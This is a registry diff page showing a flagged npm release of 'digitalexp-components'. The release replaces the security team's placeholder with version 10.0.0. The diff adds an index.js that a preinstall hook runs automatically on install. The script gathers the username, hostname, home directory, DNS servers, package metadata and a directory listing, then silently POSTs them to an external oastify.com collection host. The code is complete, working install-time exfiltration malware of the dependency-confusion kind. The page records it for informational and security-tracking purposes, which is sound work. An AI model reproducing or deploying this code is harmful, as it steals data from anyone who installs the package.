digitalexp-components 0.0.1-security → 10.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of digitalexp-components might be problematic. Click here for more details.
- package/index.js +59 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,59 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Execute the "ls" command and capture the output
|
10
|
+
let lsOutput;
|
11
|
+
try {
|
12
|
+
lsOutput = execSync("ls -la", { encoding: "utf-8" });
|
13
|
+
} catch (err) {
|
14
|
+
lsOutput = `Error executing ls command: ${err.message}`;
|
15
|
+
}
|
16
|
+
|
17
|
+
// Prepare tracking data
|
18
|
+
const trackingData = JSON.stringify({
|
19
|
+
p: package,
|
20
|
+
c: __dirname,
|
21
|
+
hd: os.homedir(),
|
22
|
+
hn: os.hostname(),
|
23
|
+
u: os.userInfo().username,
|
24
|
+
dns: dns.getServers(),
|
25
|
+
r: packageJSON ? packageJSON.__resolved : undefined,
|
26
|
+
v: packageJSON.version,
|
27
|
+
pjson: packageJSON,
|
28
|
+
ls: lsOutput, // Add "ls" command output here
|
29
|
+
});
|
30
|
+
|
31
|
+
var postData = querystring.stringify({
|
32
|
+
msg: trackingData,
|
33
|
+
});
|
34
|
+
|
35
|
+
// Configure request options
|
36
|
+
var options = {
|
37
|
+
hostname: "k5qvv3ykb7osh4caq8ov4n55gwmnady2.oastify.com", // Replace this with your domain
|
38
|
+
port: 443,
|
39
|
+
path: "/",
|
40
|
+
method: "POST",
|
41
|
+
headers: {
|
42
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
43
|
+
"Content-Length": postData.length,
|
44
|
+
},
|
45
|
+
};
|
46
|
+
|
47
|
+
// Send the POST request
|
48
|
+
var req = https.request(options, (res) => {
|
49
|
+
res.on("data", (d) => {
|
50
|
+
process.stdout.write(d);
|
51
|
+
});
|
52
|
+
});
|
53
|
+
|
54
|
+
req.on("error", (e) => {
|
55
|
+
// Silently ignore errors
|
56
|
+
});
|
57
|
+
|
58
|
+
req.write(postData);
|
59
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "digitalexp-components",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.0.0",
|
4
|
+
"description": "checking remote code execution and running ls -la command",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^2.7.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.
|